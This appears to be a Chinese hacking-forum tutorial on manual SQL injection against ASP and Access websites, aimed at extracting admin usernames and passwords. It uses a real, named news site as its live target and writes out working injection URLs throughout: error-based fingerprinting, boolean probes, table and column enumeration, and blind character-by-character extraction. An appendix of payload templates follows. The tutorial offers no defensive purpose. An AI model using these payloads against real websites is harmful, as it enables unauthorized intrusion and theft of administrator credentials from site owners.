以前给某hack论坛做教程的文章,本人的原创,参考资料有小竹的asp注入天书
本文分为3个部分,因为涉及到的动画教程已经作为某论坛的vip教程
所以不能发出下载地址,需要的朋友可以加我qq索要
第一步分,简单的asp+access注入
前提知识:知道每一个网站都是有数据库的,里边记录了网站的数据·包括admin的名称和密码以及 很多相关信息
准备工作
再ie的internet选项里高级选项卡,显示友好的url和http都勾掉`
1,简单判断一个网站是否可以注入``
给大家找个例子
http://www.cnhuxin.com/news/view.asp?tid=33
以这个网站为例子``
首先我们来判断它的数据库类型,需要用到一个字符 '
我们把'加入到他的地址成为
http://www.cnhuxin.com/news/view.asp?tid=33'
就是双引号哪个键`这时数据库返回信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC Microsoft Access Driver] 语法错误 (操作符丢失) 在查询表达式 'id=33’' 中。
/news/view.asp,行5
上边红色的字体就说明了他的数据库类型·Access·我们继续
我们已经知道塔的数据库了·下面我们简单探测一下是否可以注入
利用 and 1=1和· and 1=2```
我们分别加倒这个网抵制中成为
http://www.cnhuxin.com/news/view.asp?tid=33 and 1=1
敲入回车·看返回信息,显示正常,我们就可以测试第2个
http://www.cnhuxin.com/news/view.asp?tid=33 and 1=2
注意观察·这时的返回页面和刚才不一样!!我们可以初步得到·此站注入成功率比较高
2,我们已经得到他的数据库的类型信息,下边我们来检测他数据库中的信息
大家都知道数据库里边分为表段,字段(又称列)和信息
表段记录了分类的信息
如同一个下载站点·下载的内容分为系统工具,网络工具等等这个对应了我们的表段
而系统工具又包含了 压缩软件,优化软件等等对应的是数据库中的字段·又称列
然后压缩软件中又包含了winrar等等对应了 字段中的信息
好了·我们现在来检测他的字段,我们这里要记住重要的信息的字段
比如admin,users,userinfo,user等等··这些我们在工具上都能看得到
检测的方法
and exists (select * from 表段)
在对方地址上加入以上的语句·就可以了·字段名改成我们需要的字段如刚才所列admin,users等等
假设我们检测admin表段是否存在·在地址栏输入
http://www.cnhuxin.com/news/view.asp?tid=33 and exists (select * from admin)
返回说正常页面·明·存在此表段,再如我们检测是否存在user表段
输入
http://www.cnhuxin.com/news/view.asp?tid=33 and exists (select * from user)
返回信息
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e37'
[Microsoft][ODBC Microsoft Access Driver] Microsoft Jet 数据库引擎找不到输入表或查询 'user'。 确定它是否存在,以及它的名称的拼写是否正确。
/news/view.asp,行5
说明并不存在此表段··
下边我们来测试表段中含有的字段·记录重要信息的字段如帐号 密码 mima 用户名 password name等等
这些再工具中也有体现··
检测语句为
and exists (select 字段 from 表段)
方法同上假设我们检测admin表段中username字段
http://www.cnhuxin.com/news/view.asp?tid=33 and exists (select username from admin)
存在则返回正常信息·不存在则返回错误信息
我检测过了·存在username字段
下面就到了最麻烦也是最重要的步骤了···爆出他的内容
首先我们判断长度
http://www.cnhuxin.com/news/view.asp?tid=33 and exists (select * from admin where len(username)=1 and id=(Select max(id) From admin where id in (select top 1 id from admin Order by id)))
上边这个语句1代表了1个字符··
返回信息·跟刚才不一样了···或者没有显示和我们检测的地方
http://www.cnhuxin.com/news/view.asp?tid=33同样的信息·说明不是1位的字符 也不行
我们测试到6的时候·就是
http://www.cnhuxin.com/news/view.asp?tid=33 and exists (select * from admin where len(username)=6 and id=(Select max(id) From admin where id in (select top 1 id from admin Order by id)))
这个时候返回的信息是和
http://www.cnhuxin.com/news/view.asp?tid=33是一样的
我们可以确定·他的内容有6个字符
然后我们爆出他的内容是什么用到
and 1=(select count(*) from [表段] where mid(字段,第几位,1)='内容')
如·我们猜测他admin表段的username字段的第一位内容是不是a
内容一般都是英文或数字或两者混合·我们先猜是否是a 因为a是26英文中第一个字母,也是admin(超级用户)的第一个字母
http://www.cnhuxin.com/news/view.asp?tid=33 and 1=(select count(*) from [admin] where mid(usrname,1,1)='a')
返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10'
[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。
/news/view.asp,行5
说明我们猜错了他的第一个字符不是a
··就这样一个一个试我们就能得到他的内容
另·例子猜测他admin表段的username字段的第二位内容是不是a
http://www.cnhuxin.com/news/view.asp?tid=33 and 1=(select count(*) from [admin] where mid(usrname,2,1)='a')
······································检测就道这里
我们慢慢检测··就能检测打到他真正的内容
最后!!!!也是一个必要的条件·当我们猜出来他的内容也就是猜到了他的管理员名称和密码
我们怎么登陆呢~?
我们要猜测他的后台地址·有的地方后台是已经暴露的,有的还需要我们去试·
这里我就不能讲了·因为我测试的是一个国内的网站··谢谢大家··
附表1。
其他同样可以使用的语句
下边使用命令一个个的去猜测表名
格式
and 0<>(select count(*) from 表名)
字段名称猜测
格式
and 1=(select count(*) from [表段名] where len(字段名)>0)
猜测字段位数
and 1=(select count(*) from [表段名] where len(字段名)>1)
and 1=(select count(*) from [表段名] where len(字段名)>2)
and 1=(select count(*) from [表段名] where len(字段名)>3)
··有还不明白的朋友请加我qq78671进行讨论·